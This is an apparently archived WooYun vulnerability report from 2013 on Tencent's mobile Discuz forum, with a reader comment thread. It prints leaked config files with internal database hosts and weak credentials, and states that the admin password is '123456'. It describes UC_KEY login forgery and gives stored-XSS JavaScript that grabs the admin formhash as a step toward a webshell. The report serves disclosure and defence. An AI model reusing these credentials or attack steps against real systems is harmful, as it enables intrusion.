当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-045716

漏洞标题:又又一次可能失败的漫游腾讯网络过程 #3

相关厂商:腾讯

漏洞作者: 猪猪侠

提交时间:2013-12-12 12:09

修复时间:2013-12-12 13:50

公开时间:2013-12-12 13:50

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-12: 细节已通知厂商并且等待厂商处理中
2013-12-12: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

朋友们,猪猪侠又来了,这次由于撞洞,导致腾讯做了很大的漏洞修复行为,所以提前公开测试过程,不等待了!
http://www.wooyun.org/bugs/wooyun-2010-045388
依然是信息泄露带来的一系列安全连锁反应!
由于没有建立一个通用的标准和防御规则来保护好中间件配置信息、DNS信息、业务数据信息、用户信息、源码备份文件、版本管理工具信息、系统错误信息和敏感地址信息(后台或测试地址)的泄露,攻击者可能会通过收集这些保护不足的数据,利用这些信息对系统实施进一步的攻击。

详细说明:

#1 信息泄露成因
由于腾讯安全人员设计安全加固方案时,考虑到Discuz论坛的data目录会成为黑客频繁写入shell的区域,所以弄了一个安全规则,禁止data/目录下的所有php执行,但是又没有严格教研策略是否生效,直接导致了任意php文件下载风险,从而造成了更严重的信息安全威胁。
#2 泄露内容
文件1:http://bbs.m.qq.com/uc_server/data/config.inc.php

<?php
define('SUPERBBS_URL', 'http://admin.forum.discuz.qq.com/');
define('SUPERBBS_KEY', 'eba4*********9m71');
define('SUPERBBS_IP', '127.0.0.1');
define('CONFIG_TIMEOUT', 86400);
$domain = $_SERVER['HTTP_HOST'];
unset($_config);
if(strpos($domain, ':')) {
list($domain,) = explode(':', $domain);
}
$authkey = base64_encode(_authcode1(SUPERBBS_KEY, 'ENCODE', SUPERBBS_KEY, 300));
$config_prefix = $domain.'_';
$config_cache = UC_ROOT.'./data/'.$config_prefix.'config.inc.php';
if(file_exists($config_cache) && filemtime($config_cache) >= time() - CONFIG_TIMEOUT) {
include $config_cache;
}
// 待修改 临时方案
define('UC_DBHOST', $_ucconfig['UC_DBHOST']);
define('UC_DBUSER', $_ucconfig['UC_DBUSER']);
define('UC_DBPW', $_ucconfig['UC_DBPW']);
define('UC_DBNAME', $_ucconfig['UC_DBNAME']);
define('UC_DBCHARSET', $_ucconfig['UC_DBCHARSET']);
define('UC_DBTABLEPRE', $_ucconfig['UC_DBTABLEPRE']);
define('UC_COOKIEPATH', $_ucconfig['UC_COOKIEPATH']);
define('UC_COOKIEDOMAIN', $_ucconfig['UC_COOKIEDOMAIN']);
define('UC_DBCONNECT', $_ucconfig['UC_DBCONNECT']);
define('UC_CHARSET', $_ucconfig['UC_CHARSET']);
define('UC_FOUNDERPW', $_ucconfig['UC_FOUNDERPW']);
define('UC_FOUNDERSALT', $_ucconfig['UC_FOUNDERSALT']);
define('UC_KEY', $_ucconfig['UC_KEY']);
define('UC_SITEID', $_ucconfig['UC_SITEID']);
define('UC_MYKEY', $_ucconfig['UC_MYKEY']);
define('UC_DEBUG', $_ucconfig['UC_DEBUG']);
define('UC_PPP', $_ucconfig['UC_PPP']);
define('SITE_PREFIX', $_ucconfig['site_prefix']);
$_config['tfs'] = $_ucconfig['tfs'];


文件2:http://bbs.m.qq.com/uc_server/data/bbs.m.qq.com_config.inc.php

<?php 
if(!defined('IN_UC')) exit('Access Denied');
$_ucconfig=array (
'id' => '994f571e',
'UC_DBHOST' => '10.179.13.243:3331',
'UC_DBUSER' => 'discuz',
'UC_DBPW' => 'discuz',
'UC_DBNAME' => 'mqq_bbs',
'UC_DBCHARSET' => 'utf8',
'UC_DBTABLEPRE' => 'pre_ucenter_',
'UC_COOKIEPATH' => '/',
'UC_COOKIEDOMAIN' => '',
'UC_DBCONNECT' => '0',
'UC_CHARSET' => 'utf8',
'UC_FOUNDERPW' => '03253220**************8db9721',
'UC_FOUNDERSALT' => '5at8t4',
'UC_KEY' => '080cD503r6X5w0x7**************cT6t05d02Bdv64b4c',
'UC_SITEID' => 'Wa48r4l2397fie65wcxf606**************79934bxc8fCc686ex4k17b32',
'UC_MYKEY' => '2aW8g4u2q9kfte25eccf**************3GbTcZfccX8wec481ub22',
'UC_DEBUG' => '0',
'UC_PPP' => '20',
'tfs' =>
array (
'pic_server_ip' => '10.152.**.***',
'pic_server_port' => '13000',
'pic_business_id' => 'txdiscuz',
'pic_domain' => 'shp.qlogo.cn',
'prefix' => '',
),
'site_prefix' => '994f571e',
);


#3 UC_KEY的泄露
我们都知道UC_KEY的泄露是致命的,具体参照:
WooYun: 又一次失败的漫游腾讯内部网络过程 #2
利用Discuz的天生缺陷,前台登陆任意用户

$code = 'time='.$time.'&uid=1&username=admin&action=synlogin';


bbs.m.qq.com_1.jpg


#4 天时地利人和
这里,我们发现一个特别操蛋的细节,你猜是什么?
配置文件内的数据库用户名、数据库密码是那么的随便,有木有?discuz:discuz
于是我尝试了一下admin的密码,结果你们猜怎么着?密码居然是:123456

bbs.m.qq.com_2.jpg


很明显,连腾讯都难逃这个大公司诟病的宿命: WooYun: 大公司诟病系列#1 重置京东任意用户密码
#5 继续的利用
很多人可能会说了,有管理员的密码,为什么不登陆后台拿shell呢?
http://bbs.m.qq.com/admin.php,其实我也想啊,只可惜加固了,访问不到网络环境!

bbs.m.qq.com_admin.jpg


这样的话,是否该放弃了吗?NO!安全对抗这条路生生不息,思路千千万,总有一条方法能有用!
#6 继续摸索
我发现了Discuz的云平台前台有个:编辑模块管理->应用推荐 功能
http://bbs.m.qq.com/portal.php?mod=portalcp&ac=block&op=block&bid=3
可以插入任意HTML,那就留下一个XSS_ROOTKIT吧!

bbs.m.qq.com_xssrootkit.jpg


漏洞证明:

#7 搞SHELL思路
我们都知道坑爹的Discuz在登陆后台admin.php时,默认是不校验验证码的,只要你有loginhash、用户名、密码就能轻松登陆后台
#8 具体流程图

tencent.png


#9 代码实现

// 获取论坛URL
var siteurl = document.URL;
siteurl = siteurl.replace(/(.*\/){0,}([^\.]+).*/ig,"$1");
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
xmlhttp=request;
// 获取FORMHASH
xmlhttp.open("GET", siteurl+"admin.php?action=domain", false);
xmlhttp.send(null);
var datas = xmlhttp.responseText;
var reg = / name=\"formhash\" value=\"([\w\d]+)\"/i;
var arr = reg.exec(datas);
var formhash = arr[1];


#10 借刀杀人
现在你要做的只是等待,等待一个能够访问admin.php的腾讯内部人员,帮你获取WEBSHELL, COOKIE就算了,哎,这是借刀杀人!

bbs.m.qq.com_cookie.jpg

修复方案:

#1 网络边界需要认真对待。
#2 杜绝为了方便而造成的不必要的信息泄露。
#3 杜绝为了方便而造成的不必要的弱口令。
#4 安全是一个整体,保证安全不在于强大的地方有多强大,而在于真正薄弱的地方在哪里。

版权声明:转载请注明来源 猪猪侠@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-12-12 13:50

厂商回复:

在我们接到 http://www.wooyun.org/bugs/wooyun-2010-045388 这个报告之后,除了修复漏洞以外,立刻对整个公司的Discuz业务进行了排查和修补。这里的case当时已经修复。

漏洞Rank:12 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论

这些评论似乎很乌云~~~思密达
  1. 2013-12-12 14:51 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3224 漏洞数:254 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    @腾讯 报告的系列隐患,admin:123456的关键弱口令,XSSROOTKIT驻留直接CSRF获取到WEBSHELL(而且你们把这两处也修补掉了) ,既然你们认为这不是风险,那以后报告不提就是!还是直接发个SHELL,贴个图简单直接一点,也不用码这么多图文累人...

  1. 2013-12-12 12:17 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    又又一次...

  2. 2013-12-12 12:17 | xlz0iza1 ( 普通白帽子 | Rank:1027 漏洞数:207 | "><script/src=data:,alert(1)%2b")

    前排瓜子、花生。

  3. 2013-12-12 12:17 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    排大牛~~

  4. 2013-12-12 12:20 | MeirLin ( 实习白帽子 | Rank:96 漏洞数:30 | 号借人)

    坐等忽略

  5. 2013-12-12 12:20 | Tang ( 实习白帽子 | Rank:38 漏洞数:5 | 忙碌状态)

    连续剧大好~

  6. 2013-12-12 12:21 | jaojan ( 路人 | Rank:21 漏洞数:10 | xss my life)

    板凳瓜子已准备

  7. 2013-12-12 12:22 | P w ( 实习白帽子 | Rank:72 漏洞数:14 | -这家伙很懒,什么都没有留下。其实我真的很...)

    卖爆米花。。。

  8. 2013-12-12 12:26 | Black Angel ( 普通白帽子 | Rank:163 漏洞数:35 | 最神奇的一群人,智慧低调又内敛,俗称马甲...)

    琼瑶剧..

  9. 2013-12-12 12:54 | 哦哦 ( 路人 | Rank:2 漏洞数:1 | 好123,最好的导航,没有之一)

    又又一次...

  10. 2013-12-12 12:57 | Mas ( 实习白帽子 | Rank:42 漏洞数:15 )

    非常吊

  11. 2013-12-12 13:18 | saline ( 普通白帽子 | Rank:231 漏洞数:32 | Focus On Web Secur1ty)

    1rank

  12. 2013-12-12 13:33 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者,关注web安全。)

    公共厕所没,说来就来,说走就走!

  13. 2013-12-12 13:38 | 摸了你 ( 实习白帽子 | Rank:71 漏洞数:17 | 1shitMVqBjCKrnRvSoixMx6RKpG9J8pBM)

    @猪猪狭 你不能老是失败呀,要成功呀。

  14. 2013-12-12 13:42 | Ebon_Wolf ( 实习白帽子 | Rank:48 漏洞数:24 | 您好,我似咣咚朲,需要服务吗?专业酱油工...)

    腾讯不会在这里接受漏洞

  15. 2013-12-12 13:51 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

  16. 2013-12-12 14:12 | 炯炯虾 ( 路人 | Rank:2 漏洞数:1 | 我来自地球)

    猪猪侠的'水坑攻击'估计不会成功 你进后台也没用 人家网站是utf8的 Discuz! X2.5后台有其他办法拿shell吗?

  17. 2013-12-12 14:45 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3224 漏洞数:254 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    @炯炯虾 呵呵呵,Discuz X2.5 后台拿SHELL必须可以啊

  18. 2013-12-12 14:51 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3224 漏洞数:254 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    @腾讯 报告的系列隐患,admin:123456的关键弱口令,XSSROOTKIT驻留直接CSRF获取到WEBSHELL(而且你们把这两处也修补掉了) ,既然你们认为这不是风险,那以后报告不提就是!还是直接发个SHELL,贴个图简单直接一点,也不用码这么多图文累人...

  19. 2013-12-12 15:05 | 炯炯虾 ( 路人 | Rank:2 漏洞数:1 | 我来自地球)

    对啊 直接贴个shell图 多震撼。不会是Discuz! 3.1 后台命令执行一样的在更新那边生成php文件吧?

  20. 2013-12-12 15:07 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    cookie的最新时间是双12,也就是今天,是不是有点无耻了呢

  21. 2013-12-12 15:38 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    这个忽略的确不对,无论结果怎样,应该考虑过程中的风险,对安全进行评估

  22. 2013-12-12 15:43 | 炯炯虾 ( 路人 | Rank:2 漏洞数:1 | 我来自地球)

    205.177.227.70

  23. 2013-12-12 16:46 | webmail ( 路人 | Rank:0 漏洞数:1 | 白帽子)

    你们在这这么屌,你们的爸妈知道么?

  24. 2013-12-12 16:54 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @小川 忽略了好啊,我们就能提前看到了,哈哈

  25. 2013-12-12 18:24 | 肉肉 认证白帽子 ( 普通白帽子 | Rank:112 漏洞数:10 | 肉肉在长亭科技,肉肉在长亭科技,肉肉在长...)

    怒了

  26. 2013-12-12 18:26 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    一哥离真正的成功不远了

  27. 2013-12-12 19:56 | 苦战 ( 路人 | Rank:5 漏洞数:4 | 人称苦战?乃南方蛮荒之人!相平,谓正不如...)

    坐等一哥的“成功的漫游腾讯网络过程”

  28. 2013-12-12 22:38 | 厦门佬 ( 路人 | Rank:22 漏洞数:8 )

    @猪猪侠 腾讯就这样 报告给他们平台这样子的 给的是2分 按弱口令算分的, 我提交的那个DZ是可以访问后台的,可惜拿不到shell

  29. 2013-12-12 22:42 | he1renyagao ( 普通白帽子 | Rank:225 漏洞数:29 | 是金子总会发光,在还未发光之前,先打磨打...)

    @厦门佬 哎,a萌狼

  30. 2013-12-13 09:35 | 老川 ( 路人 | Rank:2 漏洞数:1 | 专注于S2漏洞)

    好多大神啊 在此 各种求师傅。 想学习XSS

  31. 2013-12-13 16:12 | 腾讯(乌云厂商)

    @猪猪侠 首先感谢您的报告。忽略的原因是因为这个漏洞在您提交之前,我们已经通过排查更早的一起类似问题发现并且进行了修复,包括弱密码问题。这次属于撞洞了 :-)非常感谢 @猪猪侠 这种形式的安全测试,也使我们能否学习、进步,受益匪浅。

  32. 2013-12-13 22:11 | 老川 ( 路人 | Rank:2 漏洞数:1 | 专注于S2漏洞)

    @腾讯 我记得TX新闻还有存储和反射的XSS 我基友提交的咋忽略了呢

  33. 2013-12-15 15:55 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    呵呵,这都忽略,果然是大厂商呢。

  34. 2013-12-17 23:11 | GrayTrack ( 实习白帽子 | Rank:75 漏洞数:14 | 灰色轨迹)

    杂么变成路人了

  35. 2013-12-17 23:12 | GrayTrack ( 实习白帽子 | Rank:75 漏洞数:14 | 灰色轨迹)

    为毛变成路人了

  36. 2014-09-17 11:24 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    原来这3次都是这么失败的额